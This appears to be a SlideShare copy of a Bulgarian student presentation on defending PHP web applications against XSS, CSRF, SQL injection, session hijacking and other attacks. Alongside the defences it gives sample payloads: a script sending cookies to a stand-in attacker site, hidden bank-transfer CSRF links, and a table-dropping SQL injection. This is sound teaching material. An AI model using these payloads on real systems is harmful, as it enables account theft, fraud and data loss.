Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.
Изготвил: Енис Исмаил, ф. номер: 12109
Проверли: доц. д-р Стефан Дражев, ас. Радка Начева
Икономически университет – Варна...
Нужда от защита на уеб-
приложенията?
Семантични атаки
Любопитството увеличава мотивацията при много атаки и семантичните атаки
са един от най-добрите примери з...
Атаки чрез качване на файлове
Атаки чрез качване на файлове
Опасности:
 Качване на файлове, съдържащи зловреден PHP или JavaScript код и
изпълняването ...
XSS атаки
XSS атаки
XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни
са да поразят уеб-приложения ...
Brute-Force атаки и Dictionary атаки
Brute-Force атаки и Dictionary атаки
Brute-force е атака, при която атакуващият изпраща множество заявки към
сървъра с раз...
Отĸpaдвaнe нa cecия
(session hijacking)
Отĸpaдвaнe нa cecия
(session hijacking)
Сесията се открадва чрез получаване на идентификационният номер за
сесията, който ...
Фалшификати на заявки (CSRF)
Фалшификати на заявки (CSRF)
CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае
изпраща заявки...
SQL инжектиране
SQL инжектиране
SQL инжектирането е техника за атакуване на приложения, използващи SQL
бази от данни, чрез вмъкване на зло...
SQL инжектиране
Пример:
Заявка в PHP:
$query = “SELECT * FROM students WHERE fnum = '$query'”;
Изпълнена заявка в MySQL сл...
SQL инжектиране
Начини за защита от SQL инжектиране:
 Използване на параметрични заявки, където структурата на заявката е...
Атаки за отказ на услуга
(DDoS атаки)
Атаки за отказ на услуга
(DDoS атаки)
Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертв...
Благодаря за вниманието!
Nächste SlideShare
Wird geladen in …5
×

Защита при създаване на PHP-приложения в Интернет

Защита при създаване на PHP-приложения в Интернет

  • Als Erste(r) kommentieren

  • Gehören Sie zu den Ersten, denen das gefällt!

Защита при създаване на PHP-приложения в Интернет

  1. 1. Изготвил: Енис Исмаил, ф. номер: 12109 Проверли: доц. д-р Стефан Дражев, ас. Радка Начева Икономически университет – Варна Център «Магистърско обучение» Катедра «Информатика» Защита при създаване на PHP-приложения в Интернет
  2. 2. Нужда от защита на уеб- приложенията?
  3. 3. Семантични атаки Любопитството увеличава мотивацията при много атаки и семантичните атаки са един от най-добрите примери за това. Представляват модифициране на URL с цел получаване на данни, до които потребителят не би трябвало да има достъп. Пример:  www.domain.com/view_invoice.php?id=1000523  www.domain.com/view_invoice.php?id=1000413 Защита:  Проверяване дали потребителят има право да прочете/запише съответната ифнормация.  Използване на трудни за отгатване идентификационни низове.
  4. 4. Атаки чрез качване на файлове
  5. 5. Атаки чрез качване на файлове Опасности:  Качване на файлове, съдържащи зловреден PHP или JavaScript код и изпълняването им в системата.  Натоварване и блокиране на сървъра чрез качване на прекалено големи по размер файлове. Защита:  Позволяване за качване само файлове с определени разширения като jpg, jpeg, gif, png, pdf, doc, docx.  Ограничение на размера на файловете, които могат да бъдат качени.  Премахване на execute флага в привилегиите за папката, където се съхраняват качените файлове.  Промяна името на качваният файл.
  6. 6. XSS атаки
  7. 7. XSS атаки XSS (Cross-site scripting) атаките са едни от най-познатите видове атаки. Способни са да поразят уеб-приложения от всички платформи, и PHP уеб-приложенията със сигурност не са изключение. <script> document.location = 'http://evilsite.org/steal.php?cookies=' + document.cookie </script> XSS атаките могат да доведат до големи проблеми, но за щастие са лесни за предотвратяване. Единственото, което трябва да се направи е получените данни да се филтрират подходящо преди записването им в базата от данни.  Използване на функции за екранизация на данните  Задаване на session.cookie_httponly = True в php.ini
  8. 8. Brute-Force атаки и Dictionary атаки
  9. 9. Brute-Force атаки и Dictionary атаки Brute-force е атака, при която атакуващият изпраща множество заявки към сървъра с различни комбинации от име и парола, с цел да „налучка“ някоя правилна комбинация. Използват за намиране на сравнително прости по сложност пароли. За по-сложни пароли, включващи думи с определено значение и т.н., се използват Dictionary атаките. Защита: Използване на по-сложни пароли Използване на Captcha Лимитиране на броя заявки за определен период от време Фиксиране достъпа до акаунти по IP адрес
  10. 10. Отĸpaдвaнe нa cecия (session hijacking)
  11. 11. Отĸpaдвaнe нa cecия (session hijacking) Сесията се открадва чрез получаване на идентификационният номер за сесията, който се пази в браузъра на клиента. Начини за открадване:  Чрез предсказване на ID на сесията  Чрез подслушване на комуникационния канал  Чрез фиксиране на ID на сесията чрез URL или XSS атака Защита:  Използване на криптирана връзка – SSL (Secure Socket Layer)  Често подновяване ID на сесията  Сравняване на IP и/или User Agent информацията на клиента
  12. 12. Фалшификати на заявки (CSRF)
  13. 13. Фалшификати на заявки (CSRF) CSRF (Cross-site request forgery) е вид атака, чрез която клиентът без да знае изпраща заявки към друг сайт. Ако той е вписан в системата, то заявката ще бъде изпълнена, тъй като тя би изглеждала напълно валидна. <a href="http://bank.com/transfer.do?acct=HACKER&amount=1000">Виж тази картинка!</a> <img src="http://bank.com/transfer.do?acct=HACKER&amount=1000" width="1" height="1" border="0"> Защита:  Използване на произволен низ (token) във формата или линка  Искане за повторно въвеждане на парола (или Captcha)
  14. 14. SQL инжектиране
  15. 15. SQL инжектиране SQL инжектирането е техника за атакуване на приложения, използващи SQL бази от данни, чрез вмъкване на злонамерени SQL команди в заявките, генерирани от приложението. Най-често SQL инжектирането се използва за постигане на следните неща:  Прочитане на данни  Промяна на данни (запис, модифициране, изтриване)  Изпълняване на администраторски операции на базата от данни, например спиране (shutdown) на цялата БД.
  16. 16. SQL инжектиране Пример: Заявка в PHP: $query = “SELECT * FROM students WHERE fnum = '$query'”; Изпълнена заявка в MySQL след въвеждане на стойност „086012“: SELECT * FROM students WHERE fnum = 086012 Изпълнена заявка в MySQL след въвеждане на стойност „1; DROP TABLE students “: SELECT * FROM students WHERE fnum = 1; DROP TABLE students;
  17. 17. SQL инжектиране Начини за защита от SQL инжектиране:  Използване на параметрични заявки, където структурата на заявката е отделена от подаваните параметри. За целта се използва PDO разширението.  Използване на процедури, като параметрите се подават отделно.  Екранизиране на всички входни данни, използвани в заявките.  Валидиране на данните, преди да бъдат използвани в заявките.  Ограничаване на привилегиите за използване на БД за всеки акаунт.
  18. 18. Атаки за отказ на услуга (DDoS атаки)
  19. 19. Атаки за отказ на услуга (DDoS атаки) Атака за отказ на услуга е опит даден ресурс, предоставян от компютър (наричан жертва), да бъде направен недостъпен за целевите му потребители. Обикновено жертви на такива атаки стават популярни уеб сървъри, като целта е те да станат недостъпни. DDoS атаките биват два основни вида:  Принуждаване на жертвата да се рестартира или да потреби всичките си ресурси, така че вече да не може да предоставя целевата услуга;  Възпрепятстване на комуникацията между жертвата и целевите потребители на услугата, така че те вече да не могат да я достъпват адекватно. Начини за предпазване:  Осигуряване на достатъчно ресурси на сървъра;  Използване на хардуерни защитни стени, филтриращи трафика преди достигне до сървъра.
  20. 20. Благодаря за вниманието!

×